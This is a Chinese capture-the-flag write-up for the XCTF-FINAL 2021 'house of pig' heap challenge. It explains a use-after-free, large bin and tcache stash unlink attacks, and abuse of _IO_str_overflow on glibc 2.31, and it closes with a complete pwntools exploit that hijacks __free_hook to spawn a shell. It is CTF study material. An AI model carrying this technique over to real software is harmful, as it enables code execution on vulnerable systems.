XCTF-FINAL 2021-house of pig-WP
感觉自己还是太菜了,在比赛期间甚至都没有逆清楚这道题,即使学长给了分析好的 idb 文件也看不懂。当然当时身体不是很好也有一部分原因,但是还是觉得很遗憾。比赛结束后复现了一下,也算是学习一下新的利用方法。
跳表修复
拿到题目,直接 F5 的话可能会出现 __asm{ jmp rax }
这样的指令

这是 switch 的跳表结构未被 IDA 识别造成的,导致了大量代码丢失,解决方案可以参考我的这篇文章,对于此程序应该使用的参数为

然后就可以识别出 switch 了。
流程分析
首先,经过大胆猜测可以分析出每只猪的结构体结构
struct PIG
{
char *des_ptr[24];
int des_size[24];
char des_exist_sign[24];
char freed_sign[24];
};
和 qword_9070 指向的结构体结构
struct ALL_PIGS
{
char *peppa_des_ptr[24];
int peppa_des_size[24];
char peppa_des_exist_sign[24];
char peppa_freed_sign[24];
int peppa_last_size;
int align1;
char *mummy_des_ptr[24];
int mummy_des_size[24];
char mummy_des_exist_sign[24];
char mummy_freed_sign[24];
int mummy_last_size;
int align2;
char *daddy_des_ptr[24];
int daddy_des_size[24];
char daddy_des_exist_sign[24];
char daddy_freed_sign[24];
int daddy_last_size;
int view_times_left;
int edit_times_left;
};
把这两个结构体补全后,程序的流程就会容易分析许多,总体的漏洞是在改变猪猪的时候,备份和更新结构体时未对 des_exist_sign[24] 数组更新


可见两个函数中都没有对 des_exist_sign[24] 的操作。而在 edit 和 view 函数中,都是通过这个 sign 判断一个 message 是否存在的,所以通过更改角色可以实现 UAF。
更改角色要通过一个 check_password 的操作,这里对密码的操作我是真的完全不懂,所以直接抄了学长的爆破结果(的确还是有必要了解一点逆行中常见的加密操作的,之后找个时间补一下)。
def change_rol(role):
sh.sendlineafter("Choice: ",'5')
if (role == 1):
sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c")
if (role == 2):
sh.sendlineafter("user:\n","B\x01\x87\xc3\x19")
if (role == 3):
sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32")
总结一下,程序主要的漏洞点是有 UAF,可以 show,可以 edit,分别有 2 和 8 次机会。最大可以申请 0x440 大小的空间,即可以使 chunk 进入 unsorted bin 和 large bin。整个程序中不存在 malloc 函数,全部是 calloc,由此函数的不从 tcache 中取出 chunk 的性质,且不可以申请 fastbin 范围中的 chunk,导致利用比较困难。
利用方法
首先 libc 版本为 2.31。
两次 show 的机会可以把堆和 libc 的基地址都 leak 出来,这个比较简单,不多说了。
然后就比较困难了,因为无法直接通过 tcache 或 fastbin 攻击。官方给出的解法为被称为 house of pig 的利用方法,引用原文
该攻击方式适用于 libc 2.31及以后的新版本 libc,本质上是通过 libc2.31 下的
largebin attack
以及FILE 结构
利用,来配合 libc2.31 下的tcache stashing unlink attack
进行组合利用的方法。主要适用于程序中仅有calloc 函数
来申请 chunk,而没有调用malloc 函数
的情况。
利用条件为
- 存在 UAF
- 能执行abort流程或程序显式调用 exit 或程序能通过主函数返回。
主要利用的函数为 _IO_str_overflow。
利用流程为
- 进行一个 Tcache Stash Unlink+ 攻击,把地址
__free_hook - 0x10
写入 tcache_pthread_struct。由于该攻击要求__free_hook - 0x8
处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。 - 再进行一个 large bin attack,修改 _IO_list_all 为一个堆地址,然后在该处伪造 _IO_FILE 结构体。
large bin attack
我其实没怎么用过这种攻击方法,这里记录一下攻击的原理。
主要利用的是 chunk 进入 bin 中的操作,在 malloc 的时候,遍历 unsorted bin 时,对每一个 chunk,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中,而此过程中缺乏对 largebin 的跳表指针的检测。
以 2.33 版本的 libc 为例,从 4052 开始就是对 largebin chunk 的入 bin 操作
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
在 2.29 及以下的版本中,根据 unsorted chunk 的大小不同
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
在 unsorted chunk 小于链表中最小的 chunk 的时候会执行前一句,反之执行后一句。
由于两者大小相同的时候只会使用如下的方法插入,所以此时无法利用。
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
所以有两种利用方法。
在 2.30 版本新加入了对 largebin 跳表的完整性检查,使 unsorted chunk 大于链表中最小的 chunk 时的利用失效,必须使 unsorted chunk 小于链表中最小的 chunk,通过
victim->bk_nextsize->fd_nextsize = victim;
实现利用,也就是将本 chunk 的地址写到 bk_nextsize + 0x20
处。
通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击,并可以修改 _IO_list_all 便于伪造结构体。
_IO_str_overflow 利用
这是我第一次碰到对这个函数的利用,由于在 libc 2.24 之后增加了对 vtable 位置合法性的检查,所以劫持 _IO_jump_t 的方法失效,但是跳表 _IO_str_jumps 是在 check 范围内的,也就是我们可以将 _IO_jump_t 劫持为 _IO_str_jumps,这样是可以通过合法性检查的,然后本该调用 _IO_overflow 的时候就会变成调用 _IO_str_overflow,此函数的实现如下
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
注意到满足
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
的时候,会先后执行
size_t old_blen = _IO_blen (fp);
// #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
三个操作,伪造 _IO_FILE 并劫持 vtable 为 _IO_str_jumps 通过一个 large bin attack 就可以轻松实现,并且我们上面三个语句中的 new_size,old_buf 和 old_blen 是我们可控的,这个函数就可以实现以下三步
- 调用 malloc,实现从 tcache 中分配 chunk,在这里就可以把我们之前放入的 __free_hook fake chunk 申请出来
- 将一段可控长度可控内容的内存段拷贝置 malloc 得来的 chunk 中(可以修改 __free_hook 为 system)
- 调用 free,且参数为内存段起始地址("/bin/sh\x00",getshell)
也就是只要我们构造得当,执行该函数即可 getshell。
exp
exp 可能写的比较烂,改来改去也是十分痛苦。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
def add_message(size,payload):
sh.sendlineafter("Choice: ",'1')
sh.sendlineafter("size: ",str(size))
sh.sendafter("message: ",payload)
def view_message(idx):
sh.sendlineafter("Choice: ",'2')
sh.sendlineafter("index: ",str(idx))
def edit_message(idx,payload):
sh.sendlineafter("Choice: ",'3')
sh.sendlineafter("index: ",str(idx))
sh.sendafter("message: ",payload)
def delete_message(idx):
sh.sendlineafter("Choice: ",'4')
sh.sendlineafter("index: ",str(idx))
def change_rol(role):
sh.sendlineafter("Choice: ",'5')
if (role == 1):
sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c")
if (role == 2):
sh.sendlineafter("user:\n","B\x01\x87\xc3\x19")
if (role == 3):
sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32")
sh = process("./pig")
libc = ELF("./libc-2.31.so")
change_rol(2)
for i in range(5):
add_message(0x90,'tcache size\n' * (0x90 // 48))
delete_message(i)
change_rol(1)
for i in range(7):
add_message(0x150,'tcache size\n' * (0x150 // 48))
delete_message(i)
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 7*
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 8
delete_message(7)
change_rol(2)
add_message(0xB0,'split7\n' * (0xB0 // 48)) # 5
change_rol(1)
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 9*
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 10
delete_message(9)
change_rol(2)
add_message(0xB0,'split9\n' * (0xB0 // 48)) # 6
# prepare done
change_rol(1)
add_message(0x410,'leak_libc\n' * (0x410 // 48)) # 11
add_message(0x410,'largebin\n' * (0x410 // 48)) # 12
add_message(0x410,'\n' * (0x410 // 48)) # 13
delete_message(12)
change_rol(2)
change_rol(1)
view_message(12)
sh.recvuntil("is: ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 96
view_message(5)
sh.recvuntil("is: ")
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x12750
log.success("libc_base: " + hex(libc_base))
log.success("heap_base: " + hex(heap_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]
_IO_list_all_addr = libc_base + libc.sym["_IO_list_all"]
#_IO_str_jump_addr = libc_base + libc.sym["_IO_str_jump"]
_IO_str_jump_addr = libc_base + 0x1ED560
system_addr = libc_base + libc.sym["system"]
############################### leak done ###############################
add_message(0x410,'get back\n' * (0x410 // 48)) # 14
change_rol(2)
add_message(0x420,'largebin\n' * (0x420 // 48)) # 7
add_message(0x430,'largebin\n' * (0x430 // 48)) # 8
delete_message(7)
add_message(0x430,'push\n' * (0x430 // 48)) # 9
change_rol(1)
change_rol(2)
edit_message(7,(p64(0) + p64(__free_hook_addr - 0x28)) * (0x420//48))
change_rol(1)
delete_message(14)
add_message(0x430,'push\n' * (0x430 // 48)) # 15
# largebin attack done
change_rol(3)
add_message(0x410,'get_back\n' * (0x430 // 48)) # 0
change_rol(1)
edit_message(9,(p64(heap_base + 0x12C20) + \
p64(__free_hook_addr - 0x20)) * (0x150 // 48))
change_rol(3)
add_message(0x90,'do stash\n' * (0x90 // 48)) # 1
# stash unlink done
change_rol(2)
edit_message(7,(p64(0) + p64(_IO_list_all_addr - 0x20)) * (0x420//48))
change_rol(3)
delete_message(0)
add_message(0x430,'push\n' * (0x430 // 48)) # 2
# second largebin atk
change_rol(3)
add_message(0x330,'pass\n' * (0x430 // 48)) # 3
add_message(0x430,'pass\n' * (0x430 // 48)) # 4
fake_IO_FILE = ''
fake_IO_FILE += 2 * p64(0)
fake_IO_FILE += p64(1) # _IO_write_base
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) # _IO_write_ptr
fake_IO_FILE += p64(0) # _IO_write_end
fake_IO_FILE += p64(heap_base + 0x13E20) # old_buf, _IO_buf_base
fake_IO_FILE += p64(heap_base + 0x13E20 + 0x18) # calc the memcpy length, _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xC0 - 0x10,'\x00')
fake_IO_FILE += p32(0) # mode <= 0
fake_IO_FILE += p32(0) + p64(0) * 2 # bypass _unused2
fake_IO_FILE += p64(_IO_str_jump_addr)
payload = fake_IO_FILE + '/bin/sh\x00' + 2 * p64(system_addr)
sh.sendlineafter("01dwang's Gift:\n",payload)
#add_message(0x410,'large_bin\n' * (0x410 // 48)) # 1
sh.sendlineafter("Choice: ",'5')
sh.sendlineafter("user:\n",'')
sh.interactive()
关于非预期
这道题大概是想减少非预期解,把输入方式变成了都只能分段输入,但是这样会导致最后的 fake_IO_FILE 结构难以布置,所以最后又给了一个连续输入的机会,就导致还是有很多非预期。总体来说对 _IO_str_overflow 的利用很新颖也很有意思,但是堆布局上着实是有些麻烦。